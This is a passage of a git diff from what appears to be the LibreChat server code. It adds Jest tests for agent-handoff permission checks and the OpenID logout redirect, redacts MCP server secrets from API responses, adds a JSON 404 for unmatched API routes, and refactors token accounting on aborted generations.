const { MongoMemoryServer } = require('mongodb-memory-server');
// Only mock the dependencies that are not database-related
@@ -46,9 +46,9 @@ jest.mock('~/models/File', () => ({
jest.mock('~/server/services/PermissionService', () => ({
findAccessibleResources: jest.fn().mockResolvedValue([]),
findPubliclyAccessibleResources: jest.fn().mockResolvedValue([]),
+ getResourcePermissionsMap: jest.fn().mockResolvedValue(new Map()),
grantPermission: jest.fn(),
hasPublicPermission: jest.fn().mockResolvedValue(false),
- checkPermission: jest.fn().mockResolvedValue(true),
}));
jest.mock('~/models', () => ({
@@ -59,6 +59,7 @@ jest.mock('~/models', () => ({
const mockCache = {
get: jest.fn(),
set: jest.fn(),
+ delete: jest.fn(),
};
jest.mock('~/cache', () => ({
getLogStores: jest.fn(() => mockCache),
@@ -73,6 +74,7 @@ const {
const {
findAccessibleResources,
findPubliclyAccessibleResources,
+ getResourcePermissionsMap,
} = require('~/server/services/PermissionService');
const { refreshS3Url } = require('~/server/services/Files/S3/crud');
@@ -1309,7 +1311,7 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
});
test('should skip avatar refresh if cache hit', async () => {
- mockCache.get.mockResolvedValue(true);
+ mockCache.get.mockResolvedValue({ urlCache: {} });
findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
findPubliclyAccessibleResources.mockResolvedValue([]);
@@ -1348,8 +1350,12 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
// Verify S3 URL was refreshed
expect(refreshS3Url).toHaveBeenCalled();
- // Verify cache was set
- expect(mockCache.set).toHaveBeenCalled();
+ // Verify cache was set with urlCache map, not a plain boolean
+ expect(mockCache.set).toHaveBeenCalledWith(
+ expect.any(String),
+ expect.objectContaining({ urlCache: expect.any(Object) }),
+ expect.any(Number),
+ );
// Verify response was returned
expect(mockRes.json).toHaveBeenCalled();
@@ -1563,5 +1569,191 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
// Verify that the handler completed successfully
expect(mockRes.json).toHaveBeenCalled();
});
+
+ test('should treat legacy boolean cache entry as a miss and run refresh', async () => {
+ // Simulate a cache entry written by the pre-fix code
+ mockCache.get.mockResolvedValue(true);
+ findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+ findPubliclyAccessibleResources.mockResolvedValue([]);
+ refreshS3Url.mockResolvedValue('new-s3-path.jpg');
+
+ const mockReq = {
+ user: { id: userA.toString(), role: 'USER' },
+ query: {},
+ };
+ const mockRes = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ };
+
+ await getListAgentsHandler(mockReq, mockRes);
+
+ // Boolean true fails the shape guard, so refresh must run
+ expect(refreshS3Url).toHaveBeenCalled();
+ // Cache is overwritten with the proper format
+ expect(mockCache.set).toHaveBeenCalledWith(
+ expect.any(String),
+ expect.objectContaining({ urlCache: expect.any(Object) }),
+ expect.any(Number),
+ );
+ });
+
+ test('should apply cached urlCache filepath to paginated response on cache hit', async () => {
+ const agentId = agentWithS3Avatar.id;
+ const cachedUrl = 'cached-presigned-url.jpg';
+
+ mockCache.get.mockResolvedValue({ urlCache: { [agentId]: cachedUrl } });
+ findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+ findPubliclyAccessibleResources.mockResolvedValue([]);
+
+ const mockReq = {
+ user: { id: userA.toString(), role: 'USER' },
+ query: {},
+ };
+ const mockRes = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ };
+
+ await getListAgentsHandler(mockReq, mockRes);
+
+ expect(refreshS3Url).not.toHaveBeenCalled();
+
+ const responseData = mockRes.json.mock.calls[0][0];
+ const agent = responseData.data.find((a) => a.id === agentId);
+ // Cached URL is served, not the stale DB value 'old-s3-path.jpg'
+ expect(agent.avatar.filepath).toBe(cachedUrl);
+ });
+
+ test('should preserve DB filepath for agents absent from urlCache on cache hit', async () => {
+ mockCache.get.mockResolvedValue({ urlCache: {} });
+ findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+ findPubliclyAccessibleResources.mockResolvedValue([]);
+
+ const mockReq = {
+ user: { id: userA.toString(), role: 'USER' },
+ query: {},
+ };
+ const mockRes = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ };
+
+ await getListAgentsHandler(mockReq, mockRes);
+
+ expect(refreshS3Url).not.toHaveBeenCalled();
+
+ const responseData = mockRes.json.mock.calls[0][0];
+ const agent = responseData.data.find((a) => a.id === agentWithS3Avatar.id);
+ expect(agent.avatar.filepath).toBe('old-s3-path.jpg');
+ });
+ });
+
+ describe('Edge ACL validation', () => {
+ let targetAgent;
+
+ beforeEach(async () => {
+ targetAgent = await Agent.create({
+ id: `agent_${nanoid()}`,
+ author: new mongoose.Types.ObjectId().toString(),
+ name: 'Target Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: [],
+ });
+ });
+
+ test('createAgentHandler should return 403 when user lacks VIEW on an edge-referenced agent', async () => {
+ const permMap = new Map();
+ getResourcePermissionsMap.mockResolvedValueOnce(permMap);
+
+ mockReq.body = {
+ name: 'Attacker Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ edges: [{ from: 'self_placeholder', to: targetAgent.id, edgeType: 'handoff' }],
+ };
+
+ await createAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(403);
+ const response = mockRes.json.mock.calls[0][0];
+ expect(response.agent_ids).toContain(targetAgent.id);
+ });
+
+ test('createAgentHandler should succeed when user has VIEW on all edge-referenced agents', async () => {
+ const permMap = new Map([[targetAgent._id.toString(), 1]]);
+ getResourcePermissionsMap.mockResolvedValueOnce(permMap);
+
+ mockReq.body = {
+ name: 'Legit Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ edges: [{ from: 'self_placeholder', to: targetAgent.id, edgeType: 'handoff' }],
+ };
+
+ await createAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(201);
+ });
+
+ test('createAgentHandler should allow edges referencing non-existent agents (self-reference at create time)', async () => {
+ mockReq.body = {
+ name: 'Self-Ref Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ edges: [{ from: 'agent_does_not_exist_yet', to: 'agent_also_new', edgeType: 'handoff' }],
+ };
+
+ await createAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(201);
+ });
+
+ test('updateAgentHandler should return 403 when user lacks VIEW on an edge-referenced agent', async () => {
+ const ownedAgent = await Agent.create({
+ id: `agent_${nanoid()}`,
+ author: mockReq.user.id,
+ name: 'Owned Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: [],
+ });
+
+ const permMap = new Map([[ownedAgent._id.toString(), PermissionBits.VIEW]]);
+ getResourcePermissionsMap.mockResolvedValueOnce(permMap);
+
+ mockReq.params = { id: ownedAgent.id };
+ mockReq.body = {
+ edges: [{ from: ownedAgent.id, to: targetAgent.id, edgeType: 'handoff' }],
+ };
+
+ await updateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).toHaveBeenCalledWith(403);
+ const response = mockRes.json.mock.calls[0][0];
+ expect(response.agent_ids).toContain(targetAgent.id);
+ expect(response.agent_ids).not.toContain(ownedAgent.id);
+ });
+
+ test('updateAgentHandler should succeed when edges field is absent from payload', async () => {
+ const ownedAgent = await Agent.create({
+ id: `agent_${nanoid()}`,
+ author: mockReq.user.id,
+ name: 'Owned Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: [],
+ });
+
+ mockReq.params = { id: ownedAgent.id };
+ mockReq.body = { name: 'Renamed Agent' };
+
+ await updateAgentHandler(mockReq, mockRes);
+
+ expect(mockRes.status).not.toHaveBeenCalledWith(403);
+ const response = mockRes.json.mock.calls[0][0];
+ expect(response.name).toBe('Renamed Agent');
+ });
});
});
diff --git a/api/server/controllers/auth/LogoutController.js b/api/server/controllers/auth/LogoutController.js
index 0b3cf262b8..039ed630c2 100644
--- a/api/server/controllers/auth/LogoutController.js
+++ b/api/server/controllers/auth/LogoutController.js
@@ -8,13 +8,16 @@ const logoutController = async (req, res) => {
const parsedCookies = req.headers.cookie ? cookies.parse(req.headers.cookie) : {};
const isOpenIdUser = req.user?.openidId != null && req.user?.provider === 'openid';
- /** For OpenID users, read refresh token from session; for others, use cookie */
+ /** For OpenID users, read tokens from session (with cookie fallback) */
let refreshToken;
+ let idToken;
if (isOpenIdUser && req.session?.openidTokens) {
refreshToken = req.session.openidTokens.refreshToken;
+ idToken = req.session.openidTokens.idToken;
delete req.session.openidTokens;
}
refreshToken = refreshToken || parsedCookies.refreshToken;
+ idToken = idToken || parsedCookies.openid_id_token;
try {
const logout = await logoutUser(req, refreshToken);
@@ -31,21 +34,34 @@ const logoutController = async (req, res) => {
isEnabled(process.env.OPENID_USE_END_SESSION_ENDPOINT) &&
process.env.OPENID_ISSUER
) {
- const openIdConfig = getOpenIdConfig();
- if (!openIdConfig) {
- logger.warn(
- '[logoutController] OpenID config not found. Please verify that the open id configuration and initialization are correct.',
- );
- } else {
- const endSessionEndpoint = openIdConfig
- ? openIdConfig.serverMetadata().end_session_endpoint
- : null;
+ let openIdConfig;
+ try {
+ openIdConfig = getOpenIdConfig();
+ } catch (err) {
+ logger.warn('[logoutController] OpenID config not available:', err.message);
+ }
+ if (openIdConfig) {
+ const endSessionEndpoint = openIdConfig.serverMetadata().end_session_endpoint;
if (endSessionEndpoint) {
const endSessionUrl = new URL(endSessionEndpoint);
/** Redirect back to app's login page after IdP logout */
const postLogoutRedirectUri =
process.env.OPENID_POST_LOGOUT_REDIRECT_URI || `${process.env.DOMAIN_CLIENT}/login`;
endSessionUrl.searchParams.set('post_logout_redirect_uri', postLogoutRedirectUri);
+
+ /** Add id_token_hint (preferred) or client_id for OIDC spec compliance */
+ if (idToken) {
+ endSessionUrl.searchParams.set('id_token_hint', idToken);
+ } else if (process.env.OPENID_CLIENT_ID) {
+ endSessionUrl.searchParams.set('client_id', process.env.OPENID_CLIENT_ID);
+ } else {
+ logger.warn(
+ '[logoutController] Neither id_token_hint nor OPENID_CLIENT_ID is available. ' +
+ 'To enable id_token_hint, set OPENID_REUSE_TOKENS=true. ' +
+ 'The OIDC end-session request may be rejected by the identity provider.',
+ );
+ }
+
response.redirect = endSessionUrl.toString();
} else {
logger.warn(
diff --git a/api/server/controllers/auth/LogoutController.spec.js b/api/server/controllers/auth/LogoutController.spec.js
new file mode 100644
index 0000000000..3f2a2de8e1
--- /dev/null
+++ b/api/server/controllers/auth/LogoutController.spec.js
@@ -0,0 +1,259 @@
+const cookies = require('cookie');
+
+const mockLogoutUser = jest.fn();
+const mockLogger = { warn: jest.fn(), error: jest.fn() };
+const mockIsEnabled = jest.fn();
+const mockGetOpenIdConfig = jest.fn();
+
+jest.mock('cookie');
+jest.mock('@librechat/api', () => ({ isEnabled: (...args) => mockIsEnabled(...args) }));
+jest.mock('@librechat/data-schemas', () => ({ logger: mockLogger }));
+jest.mock('~/server/services/AuthService', () => ({
+ logoutUser: (...args) => mockLogoutUser(...args),
+}));
+jest.mock('~/strategies', () => ({ getOpenIdConfig: () => mockGetOpenIdConfig() }));
+
+const { logoutController } = require('./LogoutController');
+
+function buildReq(overrides = {}) {
+ return {
+ user: { _id: 'user1', openidId: 'oid1', provider: 'openid' },
+ headers: { cookie: 'refreshToken=rt1' },
+ session: {
+ openidTokens: { refreshToken: 'srt', idToken: 'small-id-token' },
+ destroy: jest.fn(),
+ },
+ ...overrides,
+ };
+}
+
+function buildRes() {
+ const res = {
+ status: jest.fn().mockReturnThis(),
+ send: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+ clearCookie: jest.fn(),
+ };
+ return res;
+}
+
+const ORIGINAL_ENV = process.env;
+
+beforeEach(() => {
+ jest.clearAllMocks();
+ process.env = {
+ ...ORIGINAL_ENV,
+ OPENID_USE_END_SESSION_ENDPOINT: 'true',
+ OPENID_ISSUER: 'https://idp.example.com',
+ OPENID_CLIENT_ID: 'my-client-id',
+ DOMAIN_CLIENT: 'https://app.example.com',
+ };
+ cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+ mockLogoutUser.mockResolvedValue({ status: 200, message: 'Logout successful' });
+ mockIsEnabled.mockReturnValue(true);
+ mockGetOpenIdConfig.mockReturnValue({
+ serverMetadata: () => ({
+ end_session_endpoint: 'https://idp.example.com/logout',
+ }),
+ });
+});
+
+afterAll(() => {
+ process.env = ORIGINAL_ENV;
+});
+
+describe('LogoutController', () => {
+ describe('id_token_hint from session', () => {
+ it('sets id_token_hint when session has idToken', async () => {
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toContain('id_token_hint=small-id-token');
+ expect(body.redirect).not.toContain('client_id=');
+ });
+ });
+
+ describe('id_token_hint from cookie fallback', () => {
+ it('uses cookie id_token when session has no tokens', async () => {
+ cookies.parse.mockReturnValue({
+ refreshToken: 'cookie-rt',
+ openid_id_token: 'cookie-id-token',
+ });
+ const req = buildReq({ session: { destroy: jest.fn() } });
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toContain('id_token_hint=cookie-id-token');
+ });
+ });
+
+ describe('client_id fallback', () => {
+ it('falls back to client_id when no idToken is available', async () => {
+ cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+ const req = buildReq({ session: { destroy: jest.fn() } });
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toContain('client_id=my-client-id');
+ expect(body.redirect).not.toContain('id_token_hint=');
+ });
+
+ it('does not produce client_id=undefined when OPENID_CLIENT_ID is unset', async () => {
+ delete process.env.OPENID_CLIENT_ID;
+ cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+ const req = buildReq({ session: { destroy: jest.fn() } });
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).not.toContain('client_id=');
+ expect(body.redirect).not.toContain('undefined');
+ expect(mockLogger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('Neither id_token_hint nor OPENID_CLIENT_ID'),
+ );
+ });
+ });
+
+ describe('OPENID_USE_END_SESSION_ENDPOINT disabled', () => {
+ it('does not include redirect when disabled', async () => {
+ mockIsEnabled.mockReturnValue(false);
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ });
+ });
+
+ describe('OPENID_ISSUER unset', () => {
+ it('does not include redirect when OPENID_ISSUER is missing', async () => {
+ delete process.env.OPENID_ISSUER;
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ });
+ });
+
+ describe('non-OpenID user', () => {
+ it('does not include redirect for non-OpenID users', async () => {
+ const req = buildReq({
+ user: { _id: 'user1', provider: 'local' },
+ });
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ });
+ });
+
+ describe('post_logout_redirect_uri', () => {
+ it('uses OPENID_POST_LOGOUT_REDIRECT_URI when set', async () => {
+ process.env.OPENID_POST_LOGOUT_REDIRECT_URI = 'https://custom.example.com/logged-out';
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ const url = new URL(body.redirect);
+ expect(url.searchParams.get('post_logout_redirect_uri')).toBe(
+ 'https://custom.example.com/logged-out',
+ );
+ });
+
+ it('defaults to DOMAIN_CLIENT/login when OPENID_POST_LOGOUT_REDIRECT_URI is unset', async () => {
+ delete process.env.OPENID_POST_LOGOUT_REDIRECT_URI;
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ const url = new URL(body.redirect);
+ expect(url.searchParams.get('post_logout_redirect_uri')).toBe(
+ 'https://app.example.com/login',
+ );
+ });
+ });
+
+ describe('OpenID config not available', () => {
+ it('warns and returns no redirect when getOpenIdConfig throws', async () => {
+ mockGetOpenIdConfig.mockImplementation(() => {
+ throw new Error('OpenID configuration has not been initialized');
+ });
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ expect(mockLogger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('OpenID config not available'),
+ 'OpenID configuration has not been initialized',
+ );
+ });
+ });
+
+ describe('end_session_endpoint not in metadata', () => {
+ it('warns and returns no redirect when end_session_endpoint is missing', async () => {
+ mockGetOpenIdConfig.mockReturnValue({
+ serverMetadata: () => ({}),
+ });
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ const body = res.send.mock.calls[0][0];
+ expect(body.redirect).toBeUndefined();
+ expect(mockLogger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('end_session_endpoint not found'),
+ );
+ });
+ });
+
+ describe('error handling', () => {
+ it('returns 500 on logoutUser error', async () => {
+ mockLogoutUser.mockRejectedValue(new Error('session error'));
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(500);
+ expect(res.json).toHaveBeenCalledWith({ message: 'session error' });
+ });
+ });
+
+ describe('cookie clearing', () => {
+ it('clears all auth cookies on successful logout', async () => {
+ const req = buildReq();
+ const res = buildRes();
+
+ await logoutController(req, res);
+
+ expect(res.clearCookie).toHaveBeenCalledWith('refreshToken');
+ expect(res.clearCookie).toHaveBeenCalledWith('openid_access_token');
+ expect(res.clearCookie).toHaveBeenCalledWith('openid_id_token');
+ expect(res.clearCookie).toHaveBeenCalledWith('openid_user_id');
+ expect(res.clearCookie).toHaveBeenCalledWith('token_provider');
+ });
+ });
+});
diff --git a/api/server/controllers/mcp.js b/api/server/controllers/mcp.js
index e5dfff61ca..729f01da9d 100644
--- a/api/server/controllers/mcp.js
+++ b/api/server/controllers/mcp.js
@@ -7,9 +7,11 @@
*/
const { logger } = require('@librechat/data-schemas');
const {
+ MCPErrorCodes,
+ redactServerSecrets,
+ redactAllServerSecrets,
isMCPDomainNotAllowedError,
isMCPInspectionFailedError,
- MCPErrorCodes,
} = require('@librechat/api');
const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider');
const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config');
@@ -181,10 +183,8 @@ const getMCPServersList = async (req, res) => {
return res.status(401).json({ message: 'Unauthorized' });
}
- // 2. Get all server configs from registry (YAML + DB)
const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId);
-
- return res.json(serverConfigs);
+ return res.json(redactAllServerSecrets(serverConfigs));
} catch (error) {
logger.error('[getMCPServersList]', error);
res.status(500).json({ error: error.message });
@@ -215,7 +215,7 @@ const createMCPServerController = async (req, res) => {
);
res.status(201).json({
serverName: result.serverName,
- ...result.config,
+ ...redactServerSecrets(result.config),
});
} catch (error) {
logger.error('[createMCPServer]', error);
@@ -243,7 +243,7 @@ const getMCPServerById = async (req, res) => {
return res.status(404).json({ message: 'MCP server not found' });
}
- res.status(200).json(parsedConfig);
+ res.status(200).json(redactServerSecrets(parsedConfig));
} catch (error) {
logger.error('[getMCPServerById]', error);
res.status(500).json({ message: error.message });
@@ -274,7 +274,7 @@ const updateMCPServerController = async (req, res) => {
userId,
);
- res.status(200).json(parsedConfig);
+ res.status(200).json(redactServerSecrets(parsedConfig));
} catch (error) {
logger.error('[updateMCPServer]', error);
const mcpErrorResponse = handleMCPError(error, res);
diff --git a/api/server/experimental.js b/api/server/experimental.js
index 4a457abf61..7b60ad7fd2 100644
--- a/api/server/experimental.js
+++ b/api/server/experimental.js
@@ -14,6 +14,7 @@ const { logger } = require('@librechat/data-schemas');
const mongoSanitize = require('express-mongo-sanitize');
const {
isEnabled,
+ apiNotFound,
ErrorController,
performStartupChecks,
handleJsonParseError,
@@ -297,6 +298,7 @@ if (cluster.isMaster) {
/** Routes */
app.use('/oauth', routes.oauth);
app.use('/api/auth', routes.auth);
+ app.use('/api/admin', routes.adminAuth);
app.use('/api/actions', routes.actions);
app.use('/api/keys', routes.keys);
app.use('/api/api-keys', routes.apiKeys);
@@ -310,7 +312,6 @@ if (cluster.isMaster) {
app.use('/api/endpoints', routes.endpoints);
app.use('/api/balance', routes.balance);
app.use('/api/models', routes.models);
- app.use('/api/plugins', routes.plugins);
app.use('/api/config', routes.config);
app.use('/api/assistants', routes.assistants);
app.use('/api/files', await routes.files.initialize());
@@ -324,8 +325,8 @@ if (cluster.isMaster) {
app.use('/api/tags', routes.tags);
app.use('/api/mcp', routes.mcp);
- /** Error handler */
- app.use(ErrorController);
+ /** 404 for unmatched API routes */
+ app.use('/api', apiNotFound);
/** SPA fallback - serve index.html for all unmatched routes */
app.use((req, res) => {
@@ -343,6 +344,9 @@ if (cluster.isMaster) {
res.send(updatedIndexHtml);
});
+ /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */
+ app.use(ErrorController);
+
/** Start listening on shared port (cluster will distribute connections) */
app.listen(port, host, async (err) => {
if (err) {
diff --git a/api/server/index.js b/api/server/index.js
index 193eb423ad..f034f10236 100644
--- a/api/server/index.js
+++ b/api/server/index.js
@@ -12,12 +12,14 @@ const { logger } = require('@librechat/data-schemas');
const mongoSanitize = require('express-mongo-sanitize');
const {
isEnabled,
+ apiNotFound,
ErrorController,
+ memoryDiagnostics,
performStartupChecks,
handleJsonParseError,
- initializeFileStorage,
GenerationJobManager,
createStreamServices,
+ initializeFileStorage,
} = require('@librechat/api');
const { connectDb, indexSync } = require('~/db');
const initializeOAuthReconnectManager = require('./services/initializeOAuthReconnectManager');
@@ -162,8 +164,10 @@ const startServer = async () => {
app.use('/api/tags', routes.tags);
app.use('/api/mcp', routes.mcp);
- app.use(ErrorController);
+ /** 404 for unmatched API routes */
+ app.use('/api', apiNotFound);
+ /** SPA fallback - serve index.html for all unmatched routes */
app.use((req, res) => {
res.set({
'Cache-Control': process.env.INDEX_CACHE_CONTROL || 'no-cache, no-store, must-revalidate',
@@ -179,6 +183,9 @@ const startServer = async () => {
res.send(updatedIndexHtml);
});
+ /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */
+ app.use(ErrorController);
+
app.listen(port, host, async (err) => {
if (err) {
logger.error('Failed to start server:', err);
@@ -201,6 +208,11 @@ const startServer = async () => {
const streamServices = createStreamServices();
GenerationJobManager.configure(streamServices);
GenerationJobManager.initialize();
+
+ const inspectFlags = process.execArgv.some((arg) => arg.startsWith('--inspect'));
+ if (inspectFlags || isEnabled(process.env.MEM_DIAG)) {
+ memoryDiagnostics.start();
+ }
});
};
diff --git a/api/server/index.spec.js b/api/server/index.spec.js
index c73c605518..7b3d062fce 100644
--- a/api/server/index.spec.js
+++ b/api/server/index.spec.js
@@ -100,6 +100,40 @@ describe('Server Configuration', () => {
expect(response.headers['expires']).toBe('0');
});
+ it('should return 404 JSON for undefined API routes', async () => {
+ const response = await request(app).get('/api/nonexistent');
+ expect(response.status).toBe(404);
+ expect(response.body).toEqual({ message: 'Endpoint not found' });
+ });
+
+ it('should return 404 JSON for nested undefined API routes', async () => {
+ const response = await request(app).get('/api/nonexistent/nested/path');
+ expect(response.status).toBe(404);
+ expect(response.body).toEqual({ message: 'Endpoint not found' });
+ });
+
+ it('should return 404 JSON for non-GET methods on undefined API routes', async () => {
+ const post = await request(app).post('/api/nonexistent');
+ expect(post.status).toBe(404);
+ expect(post.body).toEqual({ message: 'Endpoint not found' });
+
+ const del = await request(app).delete('/api/nonexistent');
+ expect(del.status).toBe(404);
+ expect(del.body).toEqual({ message: 'Endpoint not found' });
+ });
+
+ it('should return 404 JSON for the /api root path', async () => {
+ const response = await request(app).get('/api');
+ expect(response.status).toBe(404);
+ expect(response.body).toEqual({ message: 'Endpoint not found' });
+ });
+
+ it('should serve SPA HTML for non-API unmatched routes', async () => {
+ const response = await request(app).get('/this/does/not/exist');
+ expect(response.status).toBe(200);
+ expect(response.headers['content-type']).toMatch(/html/);
+ });
+
it('should return 500 for unknown errors via ErrorController', async () => {
// Testing the error handling here on top of unit tests to ensure the middleware is correctly integrated
diff --git a/api/server/middleware/abortMiddleware.js b/api/server/middleware/abortMiddleware.js
index d07a09682d..d39b0104a8 100644
--- a/api/server/middleware/abortMiddleware.js
+++ b/api/server/middleware/abortMiddleware.js
@@ -1,17 +1,19 @@
const { logger } = require('@librechat/data-schemas');
const {
- countTokens,
isEnabled,
sendEvent,
+ countTokens,
GenerationJobManager,
+ recordCollectedUsage,
sanitizeMessageForTransmit,
} = require('@librechat/api');
const { isAssistantsEndpoint, ErrorTypes } = require('librechat-data-provider');
+const { saveMessage, getConvo, updateBalance, bulkInsertTransactions } = require('~/models');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
const { truncateText, smartTruncateText } = require('~/app/clients/prompts');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const clearPendingReq = require('~/cache/clearPendingReq');
const { sendError } = require('~/server/middleware/error');
-const { saveMessage, getConvo } = require('~/models');
const { abortRun } = require('./abortRun');
/**
@@ -27,62 +29,35 @@ const { abortRun } = require('./abortRun');
* @param {string} params.conversationId - Conversation ID
* @param {Array} params.collectedUsage - Usage metadata from all models
* @param {string} [params.fallbackModel] - Fallback model name if not in usage
+ * @param {string} [params.messageId] - The response message ID for transaction correlation
*/
-async function spendCollectedUsage({ userId, conversationId, collectedUsage, fallbackModel }) {
+async function spendCollectedUsage({
+ userId,
+ conversationId,
+ collectedUsage,
+ fallbackModel,
+ messageId,
+}) {
if (!collectedUsage || collectedUsage.length === 0) {
return;
}
- const spendPromises = [];
-
- for (const usage of collectedUsage) {
- if (!usage) {
- continue;
- }
-
- // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
- const cache_creation =
- Number(usage.input_token_details?.cache_creation) ||
- Number(usage.cache_creation_input_tokens) ||
- 0;
- const cache_read =
- Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0;
-
- const txMetadata = {
- context: 'abort',
- conversationId,
+ await recordCollectedUsage(
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance },
+ },
+ {
user: userId,
- model: usage.model ?? fallbackModel,
- };
-
- if (cache_creation > 0 || cache_read > 0) {
- spendPromises.push(
- spendStructuredTokens(txMetadata, {
- promptTokens: {
- input: usage.input_tokens,
- write: cache_creation,
- read: cache_read,
- },
- completionTokens: usage.output_tokens,
- }).catch((err) => {
- logger.error('[abortMiddleware] Error spending structured tokens for abort', err);
- }),
- );
- continue;
- }
-
- spendPromises.push(
- spendTokens(txMetadata, {
- promptTokens: usage.input_tokens,
- completionTokens: usage.output_tokens,
- }).catch((err) => {
- logger.error('[abortMiddleware] Error spending tokens for abort', err);
- }),
- );
- }
-
- // Wait for all token spending to complete
- await Promise.all(spendPromises);
+ conversationId,
+ collectedUsage,
+ context: 'abort',
+ messageId,
+ model: fallbackModel,
+ },
+ );
// Clear the array to prevent double-spending from the AgentClient finally block.
// The collectedUsage array is shared by reference with AgentClient.collectedUsage,
@@ -144,6 +119,7 @@ async function abortMessage(req, res) {
conversationId: jobData?.conversationId,
collectedUsage,
fallbackModel: jobData?.model,
+ messageId: jobData?.responseMessageId,
});
} else {
// Fallback: no collected usage, use text-based token counting for primary model only
@@ -292,4 +268,5 @@ const handleAbortError = async (res, req, error, data) => {
module.exports = {
handleAbort,
handleAbortError,
+ spendCollectedUsage,
};
diff --git a/api/server/middleware/abortMiddleware.spec.js b/api/server/middleware/abortMiddleware.spec.js
index 93f2ce558b..795814a928 100644
--- a/api/server/middleware/abortMiddleware.spec.js
+++ b/api/server/middleware/abortMiddleware.spec.js
@@ -4,16 +4,32 @@
* This tests the token spending logic for abort scenarios,
* particularly for parallel agents (addedConvo) where multiple
* models need their tokens spent.
+ *
+ * spendCollectedUsage delegates to recordCollectedUsage from @librechat/api,
+ * passing pricing + bulkWriteOps deps, with context: 'abort'.
+ * After spending, it clears the collectedUsage array to prevent double-spending
+ * from the AgentClient finally block (which shares the same array reference).
*/
const mockSpendTokens = jest.fn().mockResolvedValue();
const mockSpendStructuredTokens = jest.fn().mockResolvedValue();
+const mockRecordCollectedUsage = jest
+ .fn()
+ .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
+
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
jest.mock('~/models/spendTokens', () => ({
spendTokens: (...args) => mockSpendTokens(...args),
spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args),
}));
+jest.mock('~/models/tx', () => ({
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
jest.mock('@librechat/data-schemas', () => ({
logger: {
debug: jest.fn(),
@@ -30,6 +46,7 @@ jest.mock('@librechat/api', () => ({
GenerationJobManager: {
abortJob: jest.fn(),
},
+ recordCollectedUsage: mockRecordCollectedUsage,
sanitizeMessageForTransmit: jest.fn((msg) => msg),
}));
@@ -49,94 +66,27 @@ jest.mock('~/server/middleware/error', () => ({
sendError: jest.fn(),
}));
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
jest.mock('~/models', () => ({
saveMessage: jest.fn().mockResolvedValue(),
getConvo: jest.fn().mockResolvedValue({ title: 'Test Chat' }),
+ updateBalance: mockUpdateBalance,
